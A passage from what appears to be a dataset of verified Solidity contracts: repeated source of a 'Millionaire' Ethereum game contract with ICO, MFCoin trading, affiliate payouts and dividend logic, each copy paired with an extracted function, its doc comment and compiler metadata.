plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
uint256 affAmount = 0;
if (tmpAffID > 0) {
affAmount = _milFee.mul(10).div(80);
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(affAmount);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(affAmount);
emit onAffiliatePayout(affAddr, _addr, affAmount, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = _milFee.sub(converts).sub(affAmount).mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(_milFee.sub(converts).sub(affAmount));
}
updateGenVault(_addr);
buyMFCoins(_addr,converts);
plyr_[_addr].eth = plyr_[_addr].eth.sub(_eth);
milFold_.addPot.value(_eth.sub(_milFee))();
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
/**
* @dev moves any unmasked earnings to gen vault. updates earnings mask
*/
function updateGenVault(address _addr) private
{
uint256 _earnings = calcUnMaskedEarnings(_addr);
if (_earnings > 0) {
plyr_[_addr].mask = globalMask_;
plyr_[_addr].genTotal = plyr_[_addr].genTotal.add(_earnings);
plyr_[_addr].eth = plyr_[_addr].eth.add(_earnings);
} else if (globalMask_ > plyr_[_addr].mask) {
plyr_[_addr].mask = globalMask_;
}
}
/**
* @dev convert eth to coin
* @param _addr user address
* @return return back coins
*/
function buyMFCoins(address _addr, uint256 _eth) private returns(uint256) {
uint256 _coins = calcCoinsReceived(_eth);
mfCoinPool_ = mfCoinPool_.add(_eth);
totalSupply_ = totalSupply_.add(_coins);
balance_[_addr] = balance_[_addr].add(_coins);
emit onBuyMFCoins(_addr, _eth, _coins, now);
return _coins;
}
/**
* @dev sell coin to eth
* @param _coins sell coins
* @return return back eth
*/
function sellMFCoins(uint256 _coins) public {
require(icoEnd_, "ico phase not end");
require(balance_[msg.sender] >= _coins, "coins amount is out of range");
updateGenVault(msg.sender);
uint256 _eth = totalSupply_.ethRec(_coins);
mfCoinPool_ = mfCoinPool_.sub(_eth);
totalSupply_ = totalSupply_.sub(_coins);
balance_[msg.sender] = balance_[msg.sender].sub(_coins);
if (milAuth_.checkGameClosed(address(milFold_))) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
} else {
/**
* 10/100 transfer to pot
* 90/100 transfer to owner
*/
uint256 earnAmount = _eth.mul(90).div(100);
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(earnAmount);
milFold_.addPot.value(_eth.sub(earnAmount))();
}
emit onSellMFCoins(msg.sender, earnAmount, _coins, now);
}
/**
* @dev anyone winner of milfold will call this function
* @param _addr winner address
*/
function assign(address _addr)
external
payable
{
require(msg.sender == address(milFold_), "no authrity");
plyr_[_addr].eth = plyr_[_addr].eth.add(msg.value);
}
/**
* @dev If unfortunate the game has problem or has no winner at long time, we'll end the game and divide the pot equally among all MF users
*/
function splitPot()
external
payable
{
require(milAuth_.checkGameClosed(msg.sender), "game has not been closed");
uint256 delta = msg.value.mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
emit onGameClose(msg.sender, msg.value, now);
}
/**
* @dev returns ico info
* @return ico end time
* @return already ico summary
* @return ico phase is end
*/
function getIcoInfo()
public
view
returns(uint256, uint256, bool) {
return (icoAmount_, icoEndtime_, icoEnd_);
}
/**
* @dev returns player info based on address
* @param _addr address of the player you want to lookup
* @return player ID
* @return player eth balance
* @return player MFCoin
* @return general vault
* @return affiliate vault
*/
function getPlayerAccount(address _addr)
public
isActivated()
view
returns(uint256, uint256, uint256, uint256, uint256)
{
uint256 genAmount = calcUnMaskedEarnings(_addr);
return (
plyr_[_addr].playerID,
plyr_[_addr].eth.add(genAmount),
balance_[_addr],
plyr_[_addr].genTotal.add(genAmount),
plyr_[_addr].affTotal
);
}
/**
* @dev give _eth can convert how much MFCoin
* @param _eth eth i will give
* @return MFCoin will return back
*/
function calcCoinsReceived(uint256 _eth)
public
view
returns(uint256)
{
return mfCoinPool_.keysRec(_eth);
}
/**
* @dev returns current eth price for X coins.
* @param _coins number of coins desired (in 18 decimal format)
* @return amount of eth needed to send
*/
function calcEthReceived(uint256 _coins)
public
view
returns(uint256)
{
if (totalSupply_ < _coins) {
return 0;
}
return totalSupply_.ethRec(_coins);
}
function getMFBalance(address _addr)
public
view
returns(uint256) {
return balance_[_addr];
}
} | getPlayerAccount | function getPlayerAccount(address _addr)
public
isActivated()
view
returns(uint256, uint256, uint256, uint256, uint256)
{
uint256 genAmount = calcUnMaskedEarnings(_addr);
return (
plyr_[_addr].playerID,
plyr_[_addr].eth.add(genAmount),
balance_[_addr],
plyr_[_addr].genTotal.add(genAmount),
plyr_[_addr].affTotal
);
}
| /**
* @dev returns player info based on address
* @param _addr address of the player you want to lookup
* @return player ID
* @return player eth balance
* @return player MFCoin
* @return general vault
* @return affiliate vault
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://19344f09337febac2ce136703d5a2e1deb14f3d31e0b173b4d29c86dd14c2bed | {
"func_code_index": [
16782,
17242
]
} | 6,964 |
|||
Millionaire | Millionaire.sol | 0x98bdbc858822415c626c13267594fbc205182a1f | Solidity | Millionaire | contract Millionaire is MillionaireInterface,Milevents {
using SafeMath for *;
using MFCoinsCalc for uint256;
//==============================================================================
// _ _ _ |`. _ _ _ |_ | _ _ .
// (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings)
//=================_|===========================================================
string constant private name_ = "Millionaire Official";
uint256 constant private icoRndMax_ = 2 weeks; // ico max period
uint256 private icoEndtime_; // ico end time
uint256 private icoAmount_; // ico eth amount;
uint256 private sequence_; // affiliate id sequence
bool private activated_; // mark contract is activated;
bool private icoEnd_; // is ico ended;
MilFoldInterface public milFold_; // milFold contract
MilAuthInterface constant private milAuth_ = MilAuthInterface(0xf856f6a413f7756FfaF423aa2101b37E2B3aFFD9);
uint256 public globalMask_; // use to calc player gen
uint256 public mfCoinPool_; // MFCoin Pool
uint256 public totalSupply_; // MFCoin current supply
address constant private fundAddr_ = 0xB0c7Dc00E8A74c9dEc8688EFb98CcB2e24584E3B; // foundation address
uint256 constant private REGISTER_FEE = 0.01 ether; // register affiliate fees
uint256 constant private MAX_ICO_AMOUNT = 3000 ether; // max tickets you can buy one time
mapping(address => uint256) private balance_; // player coin balance
mapping(uint256 => address) private plyrAddr_; // (id => address) returns player id by address
mapping(address => Mildatasets.Player) private plyr_; // (addr => data) player data
//==============================================================================
// _ _ _ _|. |`. _ _ _ .
// | | |(_)(_||~|~|(/_| _\ . (these are safety checks)
//==============================================================================
/**
* @dev used to make sure no one can interact with contract until it has
* been activated.
*/
modifier isActivated() {
require(activated_ == true, "its not ready start");
_;
}
/**
* @dev prevents contracts from interacting with Millionare
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
/**
* @dev sets boundaries for incoming tx
*/
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 0.1 ether, "must > 0.1 ether");
_;
}
/**
* @dev check sender must be devs
*/
modifier onlyDevs()
{
require(milAuth_.isDev(msg.sender) == true, "msg sender is not a dev");
_;
}
/**
* @dev default buy set to ico
*/
function()
public
isActivated()
isHuman()
isWithinLimits(msg.value)
payable
{
icoCore(msg.value);
}
/**
* @dev buy MFCoin use eth in ico phase
*/
function buyICO()
public
isActivated()
isHuman()
isWithinLimits(msg.value)
payable
{
icoCore(msg.value);
}
function icoCore(uint256 _eth) private {
if (icoEnd_) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
} else {
if (block.timestamp > icoEndtime_ || icoAmount_ >= MAX_ICO_AMOUNT) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
icoEnd_ = true;
milFold_.activate();
emit onICO(msg.sender, 0, 0, MAX_ICO_AMOUNT, icoEnd_);
} else {
uint256 ethAmount = _eth;
if (ethAmount + icoAmount_ > MAX_ICO_AMOUNT) {
ethAmount = MAX_ICO_AMOUNT.sub(icoAmount_);
plyr_[msg.sender].eth = _eth.sub(ethAmount);
}
icoAmount_ = icoAmount_.add(ethAmount);
uint256 converts = ethAmount.mul(65)/100;
uint256 pot = ethAmount.sub(converts);
//65% of your eth use to convert MFCoin
uint256 buytMf = buyMFCoins(msg.sender, converts);
//35% of your eth use to pot
milFold_.addPot.value(pot)();
if (icoAmount_ >= MAX_ICO_AMOUNT) {
icoEnd_ = true;
milFold_.activate();
}
emit onICO(msg.sender, ethAmount, buytMf, icoAmount_, icoEnd_);
}
}
}
/**
* @dev withdraw all you earnings to your address
*/
function withdraw()
public
isActivated()
isHuman()
{
updateGenVault(msg.sender);
if (plyr_[msg.sender].eth > 0) {
uint256 amount = plyr_[msg.sender].eth;
plyr_[msg.sender].eth = 0;
msg.sender.transfer(amount);
emit onWithdraw(
msg.sender,
amount,
block.timestamp
);
}
}
/**
* @dev register as a affiliate
*/
function registerAff()
public
isHuman()
payable
{
require (msg.value >= REGISTER_FEE, "register affiliate fees must >= 0.01 ether");
require (plyr_[msg.sender].playerID == 0, "you already register!");
plyrAddr_[++sequence_] = msg.sender;
plyr_[msg.sender].playerID = sequence_;
fundAddr_.transfer(msg.value);
emit onNewPlayer(msg.sender,sequence_, block.timestamp);
}
function setMilFold(address _milFoldAddr)
public
onlyDevs
{
require(address(milFold_) == 0, "milFold has been set");
require(_milFoldAddr != 0, "milFold is invalid");
milFold_ = MilFoldInterface(_milFoldAddr);
}
function activate()
public
onlyDevs
{
require(address(milFold_) != 0, "milFold has not been set");
require(activated_ == false, "ICO already activated");
// activate the ico
activated_ = true;
icoEndtime_ = block.timestamp + icoRndMax_;
}
/**
* @dev external contracts interact with Millionare via investing MF Coin
* @param _addr player's address
* @param _affID affiliate ID
* @param _mfCoin eth amount to buy MF Coin
* @param _general eth amount assign to general
*/
function invest(address _addr, uint256 _affID, uint256 _mfCoin, uint256 _general)
external
isActivated()
payable
{
require(milAuth_.checkGameRegiester(msg.sender), "game no register");
require(_mfCoin.add(_general) <= msg.value, "account is insufficient");
if (msg.value > 0) {
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
// if affiliate not exist, assign affiliate to general, i.e. set affiliate to zero
uint256 _affiliate = msg.value.sub(_mfCoin).sub(_general);
if (tmpAffID > 0 && _affiliate > 0) {
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(_affiliate);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(_affiliate);
emit onAffiliatePayout(affAddr, _addr, _affiliate, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = _general.mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(_general);
}
updateGenVault(_addr);
buyMFCoins(_addr, _mfCoin);
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
}
/**
* @dev calculates unmasked earnings (just calculates, does not update mask)
* @return earnings in wei format
*/
function calcUnMaskedEarnings(address _addr)
private
view
returns(uint256)
{
uint256 diffMask = globalMask_.sub(plyr_[_addr].mask);
if (diffMask > 0) {
return diffMask.mul(balance_[_addr]).div(1 ether);
}
}
/**
* @dev updates masks for round and player when keys are bought
*/
function updateGenVaultAndMask(address _addr, uint256 _affID)
external
payable
{
require(msg.sender == address(milFold_), "no authrity");
if (msg.value > 0) {
/**
* 50/80 use to convert MFCoin
* 10/80 use to affiliate
* 20/80 use to general
*/
uint256 converts = msg.value.mul(50).div(80);
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
uint256 affAmount = 0;
if (tmpAffID > 0) {
affAmount = msg.value.mul(10).div(80);
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(affAmount);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(affAmount);
emit onAffiliatePayout(affAddr, _addr, affAmount, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = msg.value.sub(converts).sub(affAmount).mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(msg.value.sub(converts).sub(affAmount));
}
updateGenVault(_addr);
buyMFCoins(_addr, converts);
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
}
/**
* @dev game contract has been paid 20% amount for Millionaire and paid back now
*/
function clearGenVaultAndMask(address _addr, uint256 _affID, uint256 _eth, uint256 _milFee)
external
{
require(msg.sender == address(milFold_), "no authrity");
//check player eth balance is enough pay for
uint256 _earnings = calcUnMaskedEarnings(_addr);
require(plyr_[_addr].eth.add(_earnings) >= _eth, "eth balance not enough");
/**
* 50/80 use to convert MFCoin
* 10/80 use to affiliate
* 20/80 use to general
*/
uint256 converts = _milFee.mul(50).div(80);
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
uint256 affAmount = 0;
if (tmpAffID > 0) {
affAmount = _milFee.mul(10).div(80);
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(affAmount);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(affAmount);
emit onAffiliatePayout(affAddr, _addr, affAmount, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = _milFee.sub(converts).sub(affAmount).mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(_milFee.sub(converts).sub(affAmount));
}
updateGenVault(_addr);
buyMFCoins(_addr,converts);
plyr_[_addr].eth = plyr_[_addr].eth.sub(_eth);
milFold_.addPot.value(_eth.sub(_milFee))();
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
/**
* @dev moves any unmasked earnings to gen vault. updates earnings mask
*/
function updateGenVault(address _addr) private
{
uint256 _earnings = calcUnMaskedEarnings(_addr);
if (_earnings > 0) {
plyr_[_addr].mask = globalMask_;
plyr_[_addr].genTotal = plyr_[_addr].genTotal.add(_earnings);
plyr_[_addr].eth = plyr_[_addr].eth.add(_earnings);
} else if (globalMask_ > plyr_[_addr].mask) {
plyr_[_addr].mask = globalMask_;
}
}
/**
* @dev convert eth to coin
* @param _addr user address
* @return return back coins
*/
function buyMFCoins(address _addr, uint256 _eth) private returns(uint256) {
uint256 _coins = calcCoinsReceived(_eth);
mfCoinPool_ = mfCoinPool_.add(_eth);
totalSupply_ = totalSupply_.add(_coins);
balance_[_addr] = balance_[_addr].add(_coins);
emit onBuyMFCoins(_addr, _eth, _coins, now);
return _coins;
}
/**
* @dev sell coin to eth
* @param _coins sell coins
* @return return back eth
*/
function sellMFCoins(uint256 _coins) public {
require(icoEnd_, "ico phase not end");
require(balance_[msg.sender] >= _coins, "coins amount is out of range");
updateGenVault(msg.sender);
uint256 _eth = totalSupply_.ethRec(_coins);
mfCoinPool_ = mfCoinPool_.sub(_eth);
totalSupply_ = totalSupply_.sub(_coins);
balance_[msg.sender] = balance_[msg.sender].sub(_coins);
if (milAuth_.checkGameClosed(address(milFold_))) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
} else {
/**
* 10/100 transfer to pot
* 90/100 transfer to owner
*/
uint256 earnAmount = _eth.mul(90).div(100);
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(earnAmount);
milFold_.addPot.value(_eth.sub(earnAmount))();
}
emit onSellMFCoins(msg.sender, earnAmount, _coins, now);
}
/**
* @dev anyone winner of milfold will call this function
* @param _addr winner address
*/
function assign(address _addr)
external
payable
{
require(msg.sender == address(milFold_), "no authrity");
plyr_[_addr].eth = plyr_[_addr].eth.add(msg.value);
}
/**
* @dev If unfortunate the game has problem or has no winner at long time, we'll end the game and divide the pot equally among all MF users
*/
function splitPot()
external
payable
{
require(milAuth_.checkGameClosed(msg.sender), "game has not been closed");
uint256 delta = msg.value.mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
emit onGameClose(msg.sender, msg.value, now);
}
/**
* @dev returns ico info
* @return ico end time
* @return already ico summary
* @return ico phase is end
*/
function getIcoInfo()
public
view
returns(uint256, uint256, bool) {
return (icoAmount_, icoEndtime_, icoEnd_);
}
/**
* @dev returns player info based on address
* @param _addr address of the player you want to lookup
* @return player ID
* @return player eth balance
* @return player MFCoin
* @return general vault
* @return affiliate vault
*/
function getPlayerAccount(address _addr)
public
isActivated()
view
returns(uint256, uint256, uint256, uint256, uint256)
{
uint256 genAmount = calcUnMaskedEarnings(_addr);
return (
plyr_[_addr].playerID,
plyr_[_addr].eth.add(genAmount),
balance_[_addr],
plyr_[_addr].genTotal.add(genAmount),
plyr_[_addr].affTotal
);
}
/**
* @dev give _eth can convert how much MFCoin
* @param _eth eth i will give
* @return MFCoin will return back
*/
function calcCoinsReceived(uint256 _eth)
public
view
returns(uint256)
{
return mfCoinPool_.keysRec(_eth);
}
/**
* @dev returns current eth price for X coins.
* @param _coins number of coins desired (in 18 decimal format)
* @return amount of eth needed to send
*/
function calcEthReceived(uint256 _coins)
public
view
returns(uint256)
{
if (totalSupply_ < _coins) {
return 0;
}
return totalSupply_.ethRec(_coins);
}
function getMFBalance(address _addr)
public
view
returns(uint256) {
return balance_[_addr];
}
} | calcCoinsReceived | function calcCoinsReceived(uint256 _eth)
public
view
returns(uint256)
{
return mfCoinPool_.keysRec(_eth);
}
| /**
* @dev give _eth can convert how much MFCoin
* @param _eth eth i will give
* @return MFCoin will return back
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://19344f09337febac2ce136703d5a2e1deb14f3d31e0b173b4d29c86dd14c2bed | {
"func_code_index": [
17390,
17548
]
} | 6,965 |
|||
Millionaire | Millionaire.sol | 0x98bdbc858822415c626c13267594fbc205182a1f | Solidity | Millionaire | contract Millionaire is MillionaireInterface,Milevents {
using SafeMath for *;
using MFCoinsCalc for uint256;
//==============================================================================
// _ _ _ |`. _ _ _ |_ | _ _ .
// (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings)
//=================_|===========================================================
string constant private name_ = "Millionaire Official";
uint256 constant private icoRndMax_ = 2 weeks; // ico max period
uint256 private icoEndtime_; // ico end time
uint256 private icoAmount_; // ico eth amount;
uint256 private sequence_; // affiliate id sequence
bool private activated_; // mark contract is activated;
bool private icoEnd_; // is ico ended;
MilFoldInterface public milFold_; // milFold contract
MilAuthInterface constant private milAuth_ = MilAuthInterface(0xf856f6a413f7756FfaF423aa2101b37E2B3aFFD9);
uint256 public globalMask_; // use to calc player gen
uint256 public mfCoinPool_; // MFCoin Pool
uint256 public totalSupply_; // MFCoin current supply
address constant private fundAddr_ = 0xB0c7Dc00E8A74c9dEc8688EFb98CcB2e24584E3B; // foundation address
uint256 constant private REGISTER_FEE = 0.01 ether; // register affiliate fees
uint256 constant private MAX_ICO_AMOUNT = 3000 ether; // max tickets you can buy one time
mapping(address => uint256) private balance_; // player coin balance
mapping(uint256 => address) private plyrAddr_; // (id => address) returns player id by address
mapping(address => Mildatasets.Player) private plyr_; // (addr => data) player data
//==============================================================================
// _ _ _ _|. |`. _ _ _ .
// | | |(_)(_||~|~|(/_| _\ . (these are safety checks)
//==============================================================================
/**
* @dev used to make sure no one can interact with contract until it has
* been activated.
*/
modifier isActivated() {
require(activated_ == true, "its not ready start");
_;
}
/**
* @dev prevents contracts from interacting with Millionare
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
/**
* @dev sets boundaries for incoming tx
*/
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 0.1 ether, "must > 0.1 ether");
_;
}
/**
* @dev check sender must be devs
*/
modifier onlyDevs()
{
require(milAuth_.isDev(msg.sender) == true, "msg sender is not a dev");
_;
}
/**
* @dev default buy set to ico
*/
function()
public
isActivated()
isHuman()
isWithinLimits(msg.value)
payable
{
icoCore(msg.value);
}
/**
* @dev buy MFCoin use eth in ico phase
*/
function buyICO()
public
isActivated()
isHuman()
isWithinLimits(msg.value)
payable
{
icoCore(msg.value);
}
function icoCore(uint256 _eth) private {
if (icoEnd_) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
} else {
if (block.timestamp > icoEndtime_ || icoAmount_ >= MAX_ICO_AMOUNT) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
icoEnd_ = true;
milFold_.activate();
emit onICO(msg.sender, 0, 0, MAX_ICO_AMOUNT, icoEnd_);
} else {
uint256 ethAmount = _eth;
if (ethAmount + icoAmount_ > MAX_ICO_AMOUNT) {
ethAmount = MAX_ICO_AMOUNT.sub(icoAmount_);
plyr_[msg.sender].eth = _eth.sub(ethAmount);
}
icoAmount_ = icoAmount_.add(ethAmount);
uint256 converts = ethAmount.mul(65)/100;
uint256 pot = ethAmount.sub(converts);
//65% of your eth use to convert MFCoin
uint256 buytMf = buyMFCoins(msg.sender, converts);
//35% of your eth use to pot
milFold_.addPot.value(pot)();
if (icoAmount_ >= MAX_ICO_AMOUNT) {
icoEnd_ = true;
milFold_.activate();
}
emit onICO(msg.sender, ethAmount, buytMf, icoAmount_, icoEnd_);
}
}
}
/**
* @dev withdraw all you earnings to your address
*/
function withdraw()
public
isActivated()
isHuman()
{
updateGenVault(msg.sender);
if (plyr_[msg.sender].eth > 0) {
uint256 amount = plyr_[msg.sender].eth;
plyr_[msg.sender].eth = 0;
msg.sender.transfer(amount);
emit onWithdraw(
msg.sender,
amount,
block.timestamp
);
}
}
/**
* @dev register as a affiliate
*/
function registerAff()
public
isHuman()
payable
{
require (msg.value >= REGISTER_FEE, "register affiliate fees must >= 0.01 ether");
require (plyr_[msg.sender].playerID == 0, "you already register!");
plyrAddr_[++sequence_] = msg.sender;
plyr_[msg.sender].playerID = sequence_;
fundAddr_.transfer(msg.value);
emit onNewPlayer(msg.sender,sequence_, block.timestamp);
}
function setMilFold(address _milFoldAddr)
public
onlyDevs
{
require(address(milFold_) == 0, "milFold has been set");
require(_milFoldAddr != 0, "milFold is invalid");
milFold_ = MilFoldInterface(_milFoldAddr);
}
function activate()
public
onlyDevs
{
require(address(milFold_) != 0, "milFold has not been set");
require(activated_ == false, "ICO already activated");
// activate the ico
activated_ = true;
icoEndtime_ = block.timestamp + icoRndMax_;
}
/**
* @dev external contracts interact with Millionare via investing MF Coin
* @param _addr player's address
* @param _affID affiliate ID
* @param _mfCoin eth amount to buy MF Coin
* @param _general eth amount assign to general
*/
function invest(address _addr, uint256 _affID, uint256 _mfCoin, uint256 _general)
external
isActivated()
payable
{
require(milAuth_.checkGameRegiester(msg.sender), "game no register");
require(_mfCoin.add(_general) <= msg.value, "account is insufficient");
if (msg.value > 0) {
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
// if affiliate not exist, assign affiliate to general, i.e. set affiliate to zero
uint256 _affiliate = msg.value.sub(_mfCoin).sub(_general);
if (tmpAffID > 0 && _affiliate > 0) {
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(_affiliate);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(_affiliate);
emit onAffiliatePayout(affAddr, _addr, _affiliate, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = _general.mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(_general);
}
updateGenVault(_addr);
buyMFCoins(_addr, _mfCoin);
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
}
/**
* @dev calculates unmasked earnings (just calculates, does not update mask)
* @return earnings in wei format
*/
function calcUnMaskedEarnings(address _addr)
private
view
returns(uint256)
{
uint256 diffMask = globalMask_.sub(plyr_[_addr].mask);
if (diffMask > 0) {
return diffMask.mul(balance_[_addr]).div(1 ether);
}
}
/**
* @dev updates masks for round and player when keys are bought
*/
function updateGenVaultAndMask(address _addr, uint256 _affID)
external
payable
{
require(msg.sender == address(milFold_), "no authrity");
if (msg.value > 0) {
/**
* 50/80 use to convert MFCoin
* 10/80 use to affiliate
* 20/80 use to general
*/
uint256 converts = msg.value.mul(50).div(80);
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
uint256 affAmount = 0;
if (tmpAffID > 0) {
affAmount = msg.value.mul(10).div(80);
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(affAmount);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(affAmount);
emit onAffiliatePayout(affAddr, _addr, affAmount, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = msg.value.sub(converts).sub(affAmount).mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(msg.value.sub(converts).sub(affAmount));
}
updateGenVault(_addr);
buyMFCoins(_addr, converts);
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
}
/**
* @dev game contract has been paid 20% amount for Millionaire and paid back now
*/
function clearGenVaultAndMask(address _addr, uint256 _affID, uint256 _eth, uint256 _milFee)
external
{
require(msg.sender == address(milFold_), "no authrity");
//check player eth balance is enough pay for
uint256 _earnings = calcUnMaskedEarnings(_addr);
require(plyr_[_addr].eth.add(_earnings) >= _eth, "eth balance not enough");
/**
* 50/80 use to convert MFCoin
* 10/80 use to affiliate
* 20/80 use to general
*/
uint256 converts = _milFee.mul(50).div(80);
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
uint256 affAmount = 0;
if (tmpAffID > 0) {
affAmount = _milFee.mul(10).div(80);
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(affAmount);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(affAmount);
emit onAffiliatePayout(affAddr, _addr, affAmount, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = _milFee.sub(converts).sub(affAmount).mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(_milFee.sub(converts).sub(affAmount));
}
updateGenVault(_addr);
buyMFCoins(_addr,converts);
plyr_[_addr].eth = plyr_[_addr].eth.sub(_eth);
milFold_.addPot.value(_eth.sub(_milFee))();
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
/**
* @dev moves any unmasked earnings to gen vault. updates earnings mask
*/
function updateGenVault(address _addr) private
{
uint256 _earnings = calcUnMaskedEarnings(_addr);
if (_earnings > 0) {
plyr_[_addr].mask = globalMask_;
plyr_[_addr].genTotal = plyr_[_addr].genTotal.add(_earnings);
plyr_[_addr].eth = plyr_[_addr].eth.add(_earnings);
} else if (globalMask_ > plyr_[_addr].mask) {
plyr_[_addr].mask = globalMask_;
}
}
/**
* @dev convert eth to coin
* @param _addr user address
* @return return back coins
*/
function buyMFCoins(address _addr, uint256 _eth) private returns(uint256) {
uint256 _coins = calcCoinsReceived(_eth);
mfCoinPool_ = mfCoinPool_.add(_eth);
totalSupply_ = totalSupply_.add(_coins);
balance_[_addr] = balance_[_addr].add(_coins);
emit onBuyMFCoins(_addr, _eth, _coins, now);
return _coins;
}
/**
* @dev sell coin to eth
* @param _coins sell coins
* @return return back eth
*/
function sellMFCoins(uint256 _coins) public {
require(icoEnd_, "ico phase not end");
require(balance_[msg.sender] >= _coins, "coins amount is out of range");
updateGenVault(msg.sender);
uint256 _eth = totalSupply_.ethRec(_coins);
mfCoinPool_ = mfCoinPool_.sub(_eth);
totalSupply_ = totalSupply_.sub(_coins);
balance_[msg.sender] = balance_[msg.sender].sub(_coins);
if (milAuth_.checkGameClosed(address(milFold_))) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
} else {
/**
* 10/100 transfer to pot
* 90/100 transfer to owner
*/
uint256 earnAmount = _eth.mul(90).div(100);
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(earnAmount);
milFold_.addPot.value(_eth.sub(earnAmount))();
}
